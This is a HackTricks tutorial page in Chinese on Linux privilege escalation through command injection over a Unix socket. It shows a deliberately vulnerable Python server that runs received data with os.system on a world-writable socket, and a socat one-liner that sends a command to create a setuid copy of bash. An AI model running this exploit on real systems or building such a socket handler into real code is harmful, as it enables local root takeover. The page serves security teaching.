hacktricks/linux-hardening/privilege-escalation/socket-command-injection.md
2023-08-03 19:12:22 +00:00

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## 使用Python进行套接字绑定的示例
在下面的示例中,创建了一个**Unix套接字**`/tmp/socket_test.s`),并且所有**接收到的内容**都将由`os.system`来**执行**。我知道你在实际情况中不太可能遇到这种情况但这个示例的目的是展示一个使用Unix套接字的代码是什么样的以及如何在最坏的情况下处理输入。
{% code title="s.py" %}
```python
import socket
import os, os.path
import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
```
{% endcode %}
使用Python执行代码`python s.py`,并**检查套接字的监听状态**
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**利用漏洞**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
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